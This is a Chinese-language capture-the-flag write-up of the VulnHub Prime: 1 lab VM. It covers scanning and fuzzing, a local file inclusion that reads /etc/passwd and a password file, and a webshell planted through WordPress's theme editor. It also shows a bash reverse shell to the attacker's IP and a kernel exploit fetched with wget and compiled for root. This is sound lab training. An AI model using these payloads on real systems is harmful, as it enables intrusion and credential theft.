vulnhub靶机之Prime1

Prime: 1

vulhub的题,后面的应该也都会记录的。

1
https://www.vulnhub.com/entry/prime-1,358/

先把题目下了,放在vmware里面打开。

上不去靶机,被密码拦在门外。

也符合渗透题要求,就开始吧。

主机发现

先确定我们的内网ip的前三段,linux下命令

1
ifconfig

直接锁定这两行看到内网ip

1
2
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
inet 192.168.153.128 netmask 255.255.255.0 broadcast 192.168.153.255

所以kali本机的ip:192.168.153.128

下一步扫C段,去确认存活主机。这里使用kali里自带的nmap,nmap命令

1
nmap -sP 192.168.153.1/24

结果如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-02 07:19 EDT
Nmap scan report for 192.168.153.1
Host is up (0.00071s latency).
MAC Address: 00:50:56:C0:00:08 (VMware)
Nmap scan report for 192.168.153.2
Host is up (0.00054s latency).
MAC Address: 00:50:56:F3:BB:E5 (VMware)
Nmap scan report for 192.168.153.134
Host is up (0.00017s latency).
MAC Address: 00:0C:29:55:D6:61 (VMware)
Nmap scan report for 192.168.153.254
Host is up (0.00038s latency).
MAC Address: 00:50:56:FA:BD:7F (VMware)
Nmap scan report for 192.168.153.128
Host is up.
Nmap done: 256 IP addresses (5 hosts up) scanned in 2.06 seconds

分析一下这段内容

192.168.153.1是网关

192.168.153.2是DHCP 服务器或辅助设备。

192.168.153.128是本机kali。

192.168.153.254是备用网关或管理设备。

所以192.168.153.134就是靶机

当然我们也可以使用别的工具来快速发现,直接贴出命令

1
2
3
4
5
6
7
8
9
10
┌──(root㉿kali)-[/home/kali]
└─# arp-scan -l
Interface: eth0, type: EN10MB, MAC: 00:0c:29:b2:c7:c1, IPv4: 192.168.153.128
WARNING: Cannot open MAC/Vendor file ieee-oui.txt: Permission denied
WARNING: Cannot open MAC/Vendor file mac-vendor.txt: Permission denied
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.153.1 00:50:56:c0:00:08 (Unknown)
192.168.153.2 00:50:56:f3:bb:e5 (Unknown)
192.168.153.134 00:0c:29:55:d6:61 (Unknown)
192.168.153.254 00:50:56:fa:bd:7f (Unknown)

arp-scan是基于 ARP 协议的主机发现工具,参数-l扫描当前接口的整个子网。

端口扫描

这边继续使用nmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
┌──(root㉿kali)-[/home/kali]
└─# nmap -p 1-65535 -A 192.168.153.134
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-02 07:52 EDT
Nmap scan report for 192.168.153.134
Host is up (0.00081s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 8d:c5:20:23:ab:10:ca:de:e2:fb:e5:cd:4d:2d:4d:72 (RSA)
| 256 94:9c:f8:6f:5c:f1:4c:11:95:7f:0a:2c:34:76:50:0b (ECDSA)
|_ 256 4b:f6:f1:25:b6:13:26:d4:fc:9e:b0:72:9f:f4:69:68 (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-title: HacknPentest
|_http-server-header: Apache/2.4.18 (Ubuntu)

开了两个端口,22和80。

22端口负责ssh登录,80端口开启http服务,也就是提供了web页面。

我们可以访问一下看看

1
192.168.153.134

是80端口的话,浏览器直接访问ip就好了,因为默认就是访问80端口。

web前台

到这一步就是很熟悉的web渗透了。

访问之后发现是一个只有图片的页面

ctrl+u看下源码也什么都没有,先用dirsearch扫一下目录。留下200如下

1
2
3
4
5
6
[19:57:26] 200 -   131B - /dev
[19:57:29] 200 - 147B - /image.php
[19:57:29] 200 - 136B - /index.php
[19:57:29] 200 - 136B - /index.php/login/
[19:57:45] 200 - 3KB - /wordpress/wp-login.php
[19:57:45] 200 - 11KB - /wordpress/

我们逐一访问看看。

/dev

1
2
3
4
5
6
7
8
9
10
hello,
now you are at level 0 stage.
In real life pentesting we should use our tools to dig on a web very hard.
Happy hacking.

翻译:
你好,
现在你处于第 0 阶段。
在现实生活中的渗透测试中,我们应该使用工具深入挖掘一个网站。
祝你黑客攻击愉快。

/image.php和/index.php一样是一张图片。剩下的就是wp的默认页面和后台登陆页面了。

这里补一个信息,kali里面

1
dirb http://192.168.153.134 -X .zip,.txt,.php

预期解需要扫出/secret.txt,刚刚的字典没有。

我们访问secret.txt

1
2
3
4
5
6
7
8
9
10
11
12
13
Looks like you have got some secrets.
Ok I just want to do some help to you.
Do some more fuzz on every page of php which was finded by you. And if
you get any right parameter then follow the below steps. If you still stuck
Learn from here a basic tool with good usage for OSCP.
https://github.com/hacknpentest/Fuzzing/blob/master/Fuzz_For_Web
//see the location.txt and you will get your next move//
翻译:
看起来你已经找到了一些秘密。
好的,我只是想给你一些帮助。
对你发现的每个 PHP 页面进行更多的模糊测试(fuzz)。如果你得到了正确的参数,请按照以下步骤操作。如果你仍然卡住了,可以从这里学习一个对 OSCP 很有用的基础工具:
https://github.com/hacknpentest/Fuzzing/blob/master/Fuzz_For_Web
// 查看 location.txt,你会得到下一步的行动指示 //

意思让我们使用Fuzz_For_Web这个工具去扫除隐藏的参数,还告诉了我们location.txt这个文件

1
2
3
4
5
6
7
8
wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt --hh 136 http://192.168.153.134/index.php?FUZZ=ss

-c #wfuzz用来结果分色
-w #指定使用的字典
-hh #排除响应长度为 136 字节 的结果 //手动排除没反应的响应
FUZZ #可以跟一个参数(ss)或不加

wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt --hh 147 http://192.168.153.134/image.php?FUZZ=ss

在index.php页面找到get参数file

结合之前找到的location.txt。我们访问下

1
http://192.168.153.134/index.php?file=location.txt

看到页面出现了新的提示

1
2
3
4
5
6
7
ok well Now you reah at the exact parameter
Now dig some more for next one
use 'secrettier360' parameter on some other php page for more fun.
翻译:
好的,现在你已经找到了正确的参数。
接下来继续深入挖掘下一个参数吧。
在其他 PHP 页面上使用参数secrettier360,会有更多发现哦。

其他的php页面应该说的是/image.php,那么继续去访问

1
http://192.168.153.134/image.php?secrettier360=

这个页面测试下来,参数传入的内容也会被包含,是有任意文件包含的,这就很有意思了(。

这边先写预期解,可以直接包含/etc/passwd

1
http://192.168.153.134/image.php?secrettier360=/etc/passwd

因为没有换行可以ctrl+u看一下换行后的文件内容,然后我们发现一个有趣的内容。

1
saket:x:1001:1001:find password.txt file in my directory:/home/saket:

提示我们去包含这个文件

1
http://192.168.153.134/image.php?secrettier360=/home/saket/password.txt

回显了follow_the_ippsec是一个密码。

web后台

有了密码就想着登录了。登录什么?是前面扫出来的wp后台,但是用户名呢?

尝试后不是admin,直接跑bp的字典可以找到用户名victor。另一种方法是

1
2
wpscan --url http://192.168.153.134/wordpress -e u
-e #选择需要获得的内容 u是获得用户名
1
log=victor&pwd=follow_the_ippsec

这样就成功进到网站的后台了

尝试上传文件失败,发现并非拥有写权限。所以在后台继续找存在写权限的地方

1
2
3
4
左侧栏找到Appearance->Theme Editor下
右侧找到secret.php
文件内容也提示了/* Ohh Finaly you got a writable file */找到了一个可以写的文件
接下来上马就好了

写入一句话我们连蚁剑

1
http://192.168.153.134/wordpress/wp-content/themes/twentynineteen/secret.php

补充下wordpress下的目录结构

1
http://your-site.com/wp-content/themes/your-theme-name/secret.php

其中 your-site.com 是你的 WordPress 网站

your-theme-name 是你所使用的主题名称

secret.php 是你创建的 PHP 文件名

上线蚁剑 //顺便看了眼image.php源码,果然是include那么是不是这一步就可以打马了(

内核提权

先反弹个shell

1
2
3
4
kali:
nc -lvp 9999
靶机:
/bin/bash -c 'bash -i >& /dev/tcp/192.168.153.128/9999 0>&1'

继续信息收集

1
2
3
4
5
whoami    看下用户www-data
sudo -l 看到有/home/saket/enc
sudo -l 可以查看当前用户可以使用的root用户命令
uname -a 看一下当前操作系统信息
Linux ubuntu 4.10.0-28-generic #32~16.04.2-Ubuntu SMP Thu Jul 20 10:19:48 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux

可以看到当前的ubuntu的版本过低可以尝试内核提权

ubuntu版本16.04,内核版本4.10。

直接搜索可利用的文件

1
searchsploit Linux ubuntu 4.10.0-28

找到了

1
2
3
Linux Kernel 4.10.5 / < 4.14.3 (Ubuntu) - DCCP Socket Use-After-Free                               | linux/dos/43234.c
Linux Kernel < 4.13.9 (Ubuntu 16.04 / Fedora 27) - Local Privilege Escalation | linux/local/45010.c
Ubuntu < 15.10 - PT Chown Arbitrary PTs Access Via User Namespace Privilege Escalation | linux/local/41760.txt

Local Privilege Escalation翻译为本地权限提升

锁定第二行的,版本小于4.13就看这个45010.c

1
2
3
kali
cd /usr/share/exploitdb/exploits/linux/local
cp 45010.c /home/kali/Desktop/tmp

然后本地开启服务让靶机下载就好,也可以上限msf传入

1
2
3
4
5
kali:
sudo php -S 0:80
靶机:
cd /tmp
wget http://192.168.153.128/45010.c

注意靶机很多地方都没有写权限,下不下来。在tmp目录就好,这个是存放临时文件的目录。

1
2
3
4
靶机:
gcc 45010.c -o 45010
chmod +x 45010
./45010

我这里遇到了gcc的版本问题,最后改在靶机编译才能运行

接着弹root的shell出来就好了

最后cat flag

1
2
3
root@ubuntu:/root# cat /root/root.txt
cat /root/root.txt
b2b17036da1de94cfb024540a8e7075a

vulnhub靶机之Prime1
http://example.com/2025/06/03/Prime_1/
作者
Thanatos
发布于
2025年6月3日
许可协议